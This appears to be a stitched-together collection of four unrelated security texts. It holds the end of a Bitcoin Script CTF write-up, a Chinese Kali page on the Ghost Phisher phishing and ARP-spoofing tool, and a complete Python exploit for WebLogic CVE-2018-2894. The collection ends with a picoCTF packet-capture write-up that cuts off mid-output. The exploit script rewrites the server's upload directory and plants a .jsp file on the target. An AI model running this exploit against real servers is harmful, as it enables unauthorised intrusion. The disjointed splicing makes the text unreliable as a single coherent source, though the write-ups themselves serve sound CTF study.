OP_VERIFY OP_DUP 4c OP_NUMNOTEQUAL OP_VERIFY OP_DUP 4d OP_NUMNOTEQUAL OP_VERIFY OP_DUP 4e OP_NUMNOTEQUAL OP_VERIFY OP_DUP 4f OP_NUMNOTEQUAL OP_VERIFY OP_DUP 50 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 51 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 52 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 53 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 54 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 55 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 56 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 57 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 58 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 59 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 5a OP_NUMNOTEQUAL OP_VERIFY OP_DUP 5b OP_NUMNOTEQUAL OP_VERIFY OP_DUP 5c OP_NUMNOTEQUAL OP_VERIFY OP_DUP 5d OP_NUMNOTEQUAL OP_VERIFY OP_DUP 5e OP_NUMNOTEQUAL OP_VERIFY OP_DUP 5f OP_NUMNOTEQUAL OP_VERIFY OP_DUP 60 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 61 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 62 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 63 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 64 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 65 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 66 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 67 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 68 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 69 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 6a OP_NUMNOTEQUAL OP_VERIFY OP_DUP 6b OP_NUMNOTEQUAL OP_VERIFY OP_DUP 6c OP_NUMNOTEQUAL OP_VERIFY OP_DUP 6d OP_NUMNOTEQUAL OP_VERIFY OP_DUP 6e OP_NUMNOTEQUAL OP_VERIFY OP_DUP 6f OP_NUMNOTEQUAL OP_VERIFY OP_DUP 70 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 71 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 72 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 73 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 75 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 76 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 77 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 78 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 79 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 7a OP_NUMNOTEQUAL OP_VERIFY OP_DUP 7b OP_NUMNOTEQUAL OP_VERIFY OP_DUP 7c OP_NUMNOTEQUAL OP_VERIFY OP_DUP 7d OP_NUMNOTEQUAL OP_VERIFY OP_DUP 7e OP_NUMNOTEQUAL OP_VERIFY OP_DUP 7f OP_NUMNOTEQUAL OP_VERIFY OP_DUP 80 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 81 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 82 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 83 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 84 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 85 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 86 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 87 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 88 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 89 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 8a OP_NUMNOTEQUAL OP_VERIFY OP_DUP 8b OP_NUMNOTEQUAL OP_VERIFY OP_DUP 8c OP_NUMNOTEQUAL OP_VERIFY OP_DUP 8d OP_NUMNOTEQUAL OP_VERIFY OP_DUP 8e OP_NUMNOTEQUAL OP_VERIFY OP_DUP 8f OP_NUMNOTEQUAL OP_VERIFY OP_DUP 90 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 91 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 92 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 93 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 94 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 95 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 96 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 97 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 98 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 99 OP_NUMNOTEQUAL OP_VERIFY OP_DUP 9a OP_NUMNOTEQUAL OP_VERIFY OP_DUP 9b OP_NUMNOTEQUAL OP_VERIFY OP_DUP 9c OP_NUMNOTEQUAL OP_VERIFY OP_DUP 9d OP_NUMNOTEQUAL OP_VERIFY OP_DUP 9e OP_NUMNOTEQUAL OP_VERIFY OP_DUP 9f OP_NUMNOTEQUAL OP_VERIFY OP_DUP a0 OP_NUMNOTEQUAL OP_VERIFY OP_DUP a1 OP_NUMNOTEQUAL OP_VERIFY OP_DUP a2 OP_NUMNOTEQUAL OP_VERIFY OP_DUP a3 OP_NUMNOTEQUAL OP_VERIFY OP_DUP a4 OP_NUMNOTEQUAL OP_VERIFY OP_DUP a5 OP_NUMNOTEQUAL OP_VERIFY OP_DUP a6 OP_NUMNOTEQUAL OP_VERIFY OP_DUP a7 OP_NUMNOTEQUAL OP_VERIFY OP_DUP a8 OP_NUMNOTEQUAL OP_VERIFY OP_DUP a9 OP_NUMNOTEQUAL OP_VERIFY OP_DUP aa OP_NUMNOTEQUAL OP_VERIFY OP_DUP ab OP_NUMNOTEQUAL OP_VERIFY OP_DUP ac OP_NUMNOTEQUAL OP_VERIFY OP_DUP ad OP_NUMNOTEQUAL OP_VERIFY OP_DUP ae OP_NUMNOTEQUAL OP_VERIFY OP_DUP af OP_NUMNOTEQUAL OP_VERIFY OP_DUP b0 OP_NUMNOTEQUAL OP_VERIFY OP_DUP b1 OP_NUMNOTEQUAL OP_VERIFY OP_DUP b2 OP_NUMNOTEQUAL OP_VERIFY OP_DUP b3 OP_NUMNOTEQUAL OP_VERIFY OP_DUP b4 OP_NUMNOTEQUAL OP_VERIFY OP_DUP b5 OP_NUMNOTEQUAL OP_VERIFY OP_DUP b6 OP_NUMNOTEQUAL OP_VERIFY OP_DUP b7 OP_NUMNOTEQUAL OP_VERIFY OP_DUP b8 OP_NUMNOTEQUAL OP_VERIFY OP_DUP b9 OP_NUMNOTEQUAL OP_VERIFY OP_DUP ba OP_NUMNOTEQUAL OP_VERIFY OP_DUP bb OP_NUMNOTEQUAL OP_VERIFY OP_DUP bc OP_NUMNOTEQUAL OP_VERIFY OP_DUP bd OP_NUMNOTEQUAL OP_VERIFY OP_DUP be OP_NUMNOTEQUAL OP_VERIFY OP_DUP bf OP_NUMNOTEQUAL OP_VERIFY OP_DUP c0 OP_NUMNOTEQUAL OP_VERIFY OP_DUP c1 OP_NUMNOTEQUAL OP_VERIFY OP_DUP c2 OP_NUMNOTEQUAL OP_VERIFY OP_DUP c3 OP_NUMNOTEQUAL OP_VERIFY OP_DUP c4 OP_NUMNOTEQUAL OP_VERIFY OP_DUP c5 OP_NUMNOTEQUAL OP_VERIFY OP_DUP c6 OP_NUMNOTEQUAL OP_VERIFY OP_DUP c7 OP_NUMNOTEQUAL OP_VERIFY OP_DUP c8 OP_NUMNOTEQUAL OP_VERIFY OP_DUP c9 OP_NUMNOTEQUAL OP_VERIFY OP_DUP ca OP_NUMNOTEQUAL OP_VERIFY OP_DUP cb OP_NUMNOTEQUAL OP_VERIFY OP_DUP cc OP_NUMNOTEQUAL OP_VERIFY OP_DUP cd OP_NUMNOTEQUAL OP_VERIFY OP_DUP ce OP_NUMNOTEQUAL OP_VERIFY OP_DUP cf OP_NUMNOTEQUAL OP_VERIFY OP_DUP d0 OP_NUMNOTEQUAL OP_VERIFY OP_DUP d1 OP_NUMNOTEQUAL OP_VERIFY OP_DUP d2 OP_NUMNOTEQUAL OP_VERIFY OP_DUP d3 OP_NUMNOTEQUAL OP_VERIFY OP_DUP d4 OP_NUMNOTEQUAL OP_VERIFY OP_DUP d5 OP_NUMNOTEQUAL OP_VERIFY OP_DUP d6 OP_NUMNOTEQUAL OP_VERIFY OP_DUP d7 OP_NUMNOTEQUAL OP_VERIFY OP_DUP d8 OP_NUMNOTEQUAL OP_VERIFY OP_DUP d9 OP_NUMNOTEQUAL OP_VERIFY OP_DUP da OP_NUMNOTEQUAL OP_VERIFY OP_DUP db OP_NUMNOTEQUAL OP_VERIFY OP_DUP dc OP_NUMNOTEQUAL OP_VERIFY OP_DUP dd OP_NUMNOTEQUAL OP_VERIFY OP_DUP de OP_NUMNOTEQUAL OP_VERIFY OP_DUP df OP_NUMNOTEQUAL OP_VERIFY OP_DUP e0 OP_NUMNOTEQUAL OP_VERIFY OP_DUP e1 OP_NUMNOTEQUAL OP_VERIFY OP_DUP e2 OP_NUMNOTEQUAL OP_VERIFY OP_DUP e3 OP_NUMNOTEQUAL OP_VERIFY OP_DUP e4 OP_NUMNOTEQUAL OP_VERIFY OP_DUP e5 OP_NUMNOTEQUAL OP_VERIFY OP_DUP e6 OP_NUMNOTEQUAL OP_VERIFY OP_DUP e7 OP_NUMNOTEQUAL OP_VERIFY OP_DUP e8 OP_NUMNOTEQUAL OP_VERIFY OP_DUP e9 OP_NUMNOTEQUAL OP_VERIFY OP_DUP ea OP_NUMNOTEQUAL OP_VERIFY OP_DUP eb OP_NUMNOTEQUAL OP_VERIFY OP_DUP ec OP_NUMNOTEQUAL OP_VERIFY OP_DUP ed OP_NUMNOTEQUAL OP_VERIFY OP_DUP ee OP_NUMNOTEQUAL OP_VERIFY OP_DUP ef OP_NUMNOTEQUAL OP_VERIFY OP_DUP f0 OP_NUMNOTEQUAL OP_VERIFY OP_DUP f1 OP_NUMNOTEQUAL OP_VERIFY OP_DUP f2 OP_NUMNOTEQUAL OP_VERIFY OP_DUP f3 OP_NUMNOTEQUAL OP_VERIFY OP_DUP f4 OP_NUMNOTEQUAL OP_VERIFY OP_DUP f5 OP_NUMNOTEQUAL OP_VERIFY OP_DUP f6 OP_NUMNOTEQUAL OP_VERIFY OP_DUP f7 OP_NUMNOTEQUAL OP_VERIFY OP_DUP f8 OP_NUMNOTEQUAL OP_VERIFY OP_DUP f9 OP_NUMNOTEQUAL OP_VERIFY OP_DUP fa OP_NUMNOTEQUAL OP_VERIFY OP_DUP fb OP_NUMNOTEQUAL OP_VERIFY OP_DUP fc OP_NUMNOTEQUAL OP_VERIFY OP_DUP fd OP_NUMNOTEQUAL OP_VERIFY OP_DUP fe OP_NUMNOTEQUAL OP_VERIFY OP_DROP // flag[0x18] - 1 == 0x61 OP_1SUB 61 OP_EQUALVERIFY // sha256(flag[0x17]) == 06cdede198bc96a594f1685fcdc2f7b3f39a454ac97d700a1c63b2bc02cd75e1 OP_SHA256 06cdede198bc96a594f1685fcdc2f7b3f39a454ac97d700a1c63b2bc02cd75e1 OP_EQUALVERIFY // flag[0x16] ^ 0xcf == 0xbb cf OP_XOR bb OP_EQUALVERIFY // flag[0x15] * 2 == 0xd0 OP_IFDUP OP_ADD d0 OP_EQUALVERIFY // flag[0x13] + 1 == 0x76 02 OP_PICK OP_1ADD 76 OP_EQUALVERIFY // flag[0x14] * 3 == 0x135 OP_DUP OP_DUP OP_ADD OP_ADD 0135 OP_EQUALVERIFY OP_DROP // if flag[0x12] == 0xcc return false else flag[0x12] ^ 0x8b == 0xbb OP_DUP cc OP_EQUAL OP_IF OP_FALSE OP_RETURN OP_ELSE 8b OP_XOR bb OP_EQUALVERIFY OP_ENDIF // sha256(sha256(flag[0x11])) == 800ae3457a8da20b0d47089c53715054313b4974c28c6af1fefbde1fcb0fdf54 OP_HASH256 800ae3457a8da20b0d47089c53715054313b4974c28c6af1fefbde1fcb0fdf54 OP_EQUALVERIFY // flag[0x10] + 1 == 0x60 OP_DUP 60 OP_LESSTHAN OP_ADD 60 OP_EQUALVERIFY // sha256(flag[0xf]) == a68b412c4282555f15546cf6e1fc42893b7e07f271557ceb021821098dd66c1b OP_SHA256 a68b412c4282555f15546cf6e1fc42893b7e07f271557ceb021821098dd66c1b OP_EQUALVERIFY // flag[0xe] - 1 == 0x68 OP_1SUB 68 OP_EQUALVERIFY // sha256(flag[0xd]) == 06cdede198bc96a594f1685fcdc2f7b3f39a454ac97d700a1c63b2bc02cd75e1 OP_SHA256 06cdede198bc96a594f1685fcdc2f7b3f39a454ac97d700a1c63b2bc02cd75e1 OP_EQUALVERIFY // flag[0xc] ^ 0xd3 == 0xbb d3 OP_XOR bb OP_EQUALVERIFY // flag[0xb] * 2 == 0x6a OP_IFDUP OP_ADD 6a OP_EQUALVERIFY // flag[0x9] + 1 == 0x58 02 OP_PICK OP_1ADD 58 OP_EQUALVERIFY // flag[0xa] * 3 == 0x13b OP_DUP OP_DUP OP_ADD OP_ADD 013b OP_EQUALVERIFY OP_DROP // if flag[0x8] == 0xcc return false else flag[0x8] ^ 0xe4 == 0xbb OP_DUP cc OP_EQUAL OP_IF OP_FALSE OP_RETURN OP_ELSE e4 OP_XOR bb OP_EQUALVERIFY OP_ENDIF // flag[0x7] + 1 == 0x32 OP_DUP 32 OP_LESSTHAN OP_ADD 32 OP_EQUALVERIFY // sha256(flag[0x6]) == 925a7bf1cc6e3b9a91aba051665a28fbc2fe5261cb6ffaaaf1decb7282252b22 OP_SHA256 925a7bf1cc6e3b9a91aba051665a28fbc2fe5261cb6ffaaaf1decb7282252b22 OP_EQUALVERIFY // flag[0x5] == 0x54 54 OP_EQUALVERIFY // flag[0x4] == 0x4e 4e OP_EQUALVERIFY // flag[0x3] == 0x45 45 OP_EQUALVERIFY // flag[0x2] == 0x54 54 OP_EQUALVERIFY // flag[0x1] == 0x4e 4e OP_EQUALVERIFY // flag[0x0] == 0x49 49 OP_EQUALVERIFY ``` Putting it all together, we get `[73, 78, 84, 69, 78, 84, 123, 49, 95, 87, 105, 53, 104, 95, 105, 100, 95, 98, 48, 117, 103, 104, 116, 95, 98, 116, 99, 95, 105, 110, 95, 50, 111, 49, 50, 125]`. We can add the following to the top of the script to get it to execute successfully: ``` 49 4e 54 45 4e 54 7b 31 5f 57 69 35 68 5f 69 64 5f 62 30 75 67 68 74 5f 62 74 63 5f 69 6e 5f 32 6f 31 32 7d ``` The flag itself, after translating to ASCII, is `INTENT{1_Wi5h_id_b0ught_btc_in_2o12}`.
sec-knowleage
--- title: Ghost Phisher categories: Wireless Attacks tags: [kali linux,wireless attacks,information gathering,ghost phisher] date: 2016-10-25 11:50:00 --- 0x00 Ghost Phisher介绍 ------------- Ghost Phisher是一个使用Python编程语言和Python Qt GUI库编写的无线和以太网安全审计和攻击程序,可以伪造DNS服务器、DHCP服务器、HTTP服务器并且内置自动抓取和记录认证信息的功能模块。这个程序可用于制作蜜罐,也可用于钓鱼(安全测试)的相关工作。 Ghost Phisher目前支持以下功能: ```plain HTTP服务器 内置RFC 1035 DNS服务器 内置RFC 2131 DHCP服务器 网页托管和凭证记录器(网络钓鱼) Wifi接入点模拟器 会话劫持(被动和以太网模式) ARP缓存欺骗(用于MITM和DOS攻击) 使用绑定的Metasploit进行渗透 使用SQlite数据库进行自动凭证日志记录 更新支持 ``` 工具来源:https://code.google.com/p/ghost-phisher/ [Ghost Phisher主页][1] | [Kali Ghost Phisher Repo仓库][2] - 作者:Saviour Emmanuel Ekiko - 证书:GPLv3 0x01 Ghost Phisher功能 --------------- ghost-phisher - 用于网络钓鱼和渗透攻击的图形用户界面套件 <!--more--> 0x02 Ghost Phisher用法示例 ----------------- YouTube:[How to create fake wifi hotspot (ghost phisher) using kali linux 2][3] ```shell root@kali:~# ghost-phisher ``` ![ghost-phisher.gif][4] [1]: https://code.google.com/p/ghost-phisher/ [2]: http://git.kali.org/gitweb/?p=packages/ghost-phisher.git;a=summary [3]: https://www.youtube.com/watch?v=QpMZXp1NryE [4]: https://www.hackfun.org/usr/uploads/2016/10/690577029.gif
sec-knowleage
#!/usr/bin/env python # coding:utf-8 # Build By LandGrey from __future__ import print_function from builtins import str import re import sys import time import argparse import requests import traceback import xml.etree.ElementTree as ET def get_current_work_path(host): geturl = host + "/ws_utc/resources/setting/options/general" ua = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0'} values = [] try: request = requests.get(geturl) if request.status_code == 404: exit("[-] {} don't exists CVE-2018-2894".format(host)) elif "Deploying Application".lower() in request.text.lower(): print("[*] First Deploying Website Please wait a moment ...") time.sleep(20) request = requests.get(geturl, headers=ua) if "</defaultValue>" in request.content: root = ET.fromstring(request.content) value = root.find("section").find("options") for e in value: for sub in e: if e.tag == "parameter" and sub.tag == "defaultValue": values.append(sub.text) except requests.ConnectionError: exit("[-] Cannot connect url: {}".format(geturl)) if values: return values[0] else: print("[-] Cannot get current work path\n") exit(request.content) def get_new_work_path(host): origin_work_path = get_current_work_path(host) works = "/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css" if "user_projects" in origin_work_path: if "\\" in origin_work_path: works = works.replace("/", "\\") current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects\\domains" dir_len = len(current_work_home.split("\\")) domain_name = origin_work_path.split("\\")[dir_len] current_work_home += "\\" + domain_name + works else: current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects/domains" dir_len = len(current_work_home.split("/")) domain_name = origin_work_path.split("/")[dir_len] current_work_home += "/" + domain_name + works else: current_work_home = origin_work_path print("[*] cannot handle current work home dir: {}".format(origin_work_path)) return current_work_home def set_new_upload_path(host, path): data = { "setting_id": "general", "BasicConfigOptions.workDir": path, "BasicConfigOptions.proxyHost": "", "BasicConfigOptions.proxyPort": "80"} request = requests.post(host + "/ws_utc/resources/setting/options", data=data, headers=headers) if "successfully" in request.content: return True else: print("[-] Change New Upload Path failed") exit(request.content) def upload_webshell(host, uri): set_new_upload_path(host, get_new_work_path(host)) files = { "ks_edit_mode": "false", "ks_password_front": password, "ks_password_changed": "true", "ks_filename": ("360sglab.jsp", upload_content) } request = requests.post(host + uri, files=files) response = request.text match = re.findall("<id>(.*?)</id>", response) if match: tid = match[-1] shell_path = host + "/ws_utc/css/config/keystore/" + str(tid) + "_360sglab.jsp" if upload_content in requests.get(shell_path, headers=headers).content: print("[+] {} exists CVE-2018-2894".format(host)) print("[+] Check URL: {} ".format(shell_path)) else: print("[-] {} don't exists CVE-2018-2894".format(host)) else: print("[-] {} don't exists CVE-2018-2894".format(host)) if __name__ == "__main__": start = time.time() password = "360sglab" url = "/ws_utc/resources/setting/keystore" parser = argparse.ArgumentParser() parser.add_argument("-t", dest='target', default="http://127.0.0.1:7001", type=str, help="target, such as: http://example.com:7001") upload_content = "360sglab test" headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest', } if len(sys.argv) == 1: sys.argv.append('-h') args = parser.parse_args() target = args.target target = target.rstrip('/') if "://" not in target: target = "http://" + target try: upload_webshell(target, url) except Exception as e: print("[-] Error: \n") traceback.print_exc()
sec-knowleage
# shark on wire 2 Forensics, 300 points ## Description: > We found this packet capture. Recover the flag that was pilfered from the network. ## Solution: This is the follow-up of [shark on wire 1](shark_on_wire_1.md). Again, we receive a capture file: ```console root@kali:/media/sf_CTFs/pico/shark_on_wire_2# tshark -r capture.pcap | head Running as user "root" and group "root". This could be dangerous. 1 0.000000 fe80::20c:29ff:fef7:6ad → ff02::fb MDNS 180 Standard query 0x0000 PTR _nfs._tcp.local, "QM" question PTR _ftp._tcp.local, "QM" question PTR _webdav._tcp.local, "QM" question PTR _webdavs._tcp.local, "QM" question PTR _sftp-ssh._tcp.local, "QM" question PTR _smb._tcp.local, "QM" question PTR _afpovertcp._tcp.local, "QM" question 5353 5353 2 0.000494 10.0.0.6 → 224.0.0.251 MDNS 160 Standard query 0x0000 PTR _nfs._tcp.local, "QM" question PTR _ftp._tcp.local, "QM" question PTR _webdav._tcp.local, "QM" question PTR _webdavs._tcp.local, "QM" question PTR _sftp-ssh._tcp.local, "QM" question PTR _smb._tcp.local, "QM" question PTR _afpovertcp._tcp.local, "QM" question 5353 5353 3 11.996569 fe80::5ca9:605:a9be:272d → ff02::fb MDNS 180 Standard query 0x0000 PTR _ftp._tcp.local, "QM" question PTR _nfs._tcp.local, "QM" question PTR _afpovertcp._tcp.local, "QM" question PTR _smb._tcp.local, "QM" question PTR _sftp-ssh._tcp.local, "QM" question PTR _webdavs._tcp.local, "QM" question PTR _webdav._tcp.local, "QM" question 5353 5353 4 11.996897 10.0.0.5 → 224.0.0.251 MDNS 160 Standard query 0x0000 PTR _ftp._tcp.local, "QM" question PTR _nfs._tcp.local, "QM" question PTR _afpovertcp._tcp.local, "QM" question PTR _smb._tcp.local, "QM" question PTR _sftp-ssh._tcp.local, "QM" question PTR _webdavs._tcp.local, "QM" question PTR _webdav._tcp.local, "QM" question 5353 5353 5 16.004668 fe80::20c:29ff:fef7:6ad → ff02::fb MDNS 180 Standard query 0x0000 PTR _nfs._tcp.local, "QM" question PTR _ftp._tcp.local, "QM" question PTR _webdav._tcp.local, "QM" question PTR _webdavs._tcp.local, "QM" question PTR _sftp-ssh._tcp.local, "QM" question PTR _smb._tcp.local, "QM" question PTR _afpovertcp._tcp.local, "QM" question 5353 5353 6 16.005020 10.0.0.6 → 224.0.0.251 MDNS 160 Standard query 0x0000 PTR _nfs._tcp.local, "QM" question PTR _ftp._tcp.local, "QM" question PTR _webdav._tcp.local, "QM" question PTR _webdavs._tcp.local, "QM" question PTR _sftp-ssh._tcp.local, "QM" question PTR _smb._tcp.local, "QM" question PTR _afpovertcp._tcp.local, "QM" question 5353 5353 7 23.397257 192.168.2.1 → 192.168.2.3 TCP 63 60218 → 80 [PSH, ACK] Seq=1 Ack=1 Win=2051 Len=9 60218 80 8 23.398075 192.168.2.3 → 192.168.2.1 TCP 60 80 → 60218 [PSH, ACK] Seq=1 Ack=10 Win=238 Len=3 80 60218 9 23.439183 192.168.2.1 → 192.168.2.3 TCP 60 60218 → 80 [ACK] Seq=10 Ack=4 Win=2051 Len=0 60218 80 10 29.557413 Vmware_b9:02:a9 → Broadcast ARP 60 Who has 10.0.0.11? Tell 10.0.0.5 ``` Trying the same strategy as before does not lead to any result this time: ```console root@kali:/media/sf_CTFs/pico/shark_on_wire_2# PCAP=capture.pcap; END=$(tshark -r $PCAP -T fields -e udp.stream | sort -n | tail -1); for ((i=0;i<=END;i++)); do tshark -r $PCAP -Y "udp.stream eq $i" -T fields -e data.text -o data.show_as_text:TRUE 2>/dev/null | tr -d '\n' | grep "picoCTF"; if [ $? -eq 0 ]; then echo "(Stream #$i)"; fi; done Running as user "root" and group "root". This could be dangerous. picoCTF Sure is fun!picoCTF Sure is fun!picoCTF Sure is fun!picoCTF Sure is fun!picoCTF Sure is fun!picoCTF Sure is fun!picoCTF Sure is fun!picoCTF Sure is fun!picoCTF Sure is fun!aaaaa (Stream #9) I really want to find some picoCTF flagsI really want to find some picoCTF flagsI really want to find some picoCTF flagsI really want to find some picoCTF flagsI really want to find some picoCTF flagsI really want to find some picoCTF flagsI really want to find some picoCTF flagsI really want to find some picoCTF flagsI really want to find some picoCTF flags (Stream #10) ``` Inspecting the different UDP streams, we can see an interesting sequence which starts with a "start" message and ends with an "end" message: ```console root@kali:/media/sf_CTFs/pico/shark_on_wire_2# PCAP=capture.pcap; END=$(tshark -r $PCAP -T fields -e udp.stream | sort -n | tail -1); for ((i=0;i<=END;i++)); do tshark -r $PCAP -Y "udp.stream eq $i" -T fields -e data.text -o data.show_as_text:TRUE 2>/dev/null | tr -d '\n'; echo ""; done Running as user "root" and group "root". This could be dangerous. i6f6e kfdsalkfsalkico{N0t_a_fLag} icoCTF{StaT31355e fjdbanlkfdnfjdbanlkfdnfjdbanlkfdnfjdbanlkfdnfjdbanlkfdnfjdbanlkfdnfjdbanlkfdnfjdbanlkfdnfjdbanlkfdn picoCTF Sure is fun!picoCTF Sure is fun!picoCTF Sure is fun!picoCTF Sure is fun!picoCTF Sure is fun!picoCTF Sure is fun!picoCTF Sure is fun!picoCTF Sure is fun!picoCTF Sure is fun!aaaaa I really want to find some picoCTF flagsI really want to find some picoCTF flagsI really want to find some picoCTF flagsI really want to find some picoCTF flagsI really want to find some picoCTF flagsI really want to find some picoCTF flagsI really want to find some picoCTF flagsI really want to find some picoCTF flagsI really want to find some picoCTF flags C T F fjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdnfjdsakf;lankeflksanlkfdn AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA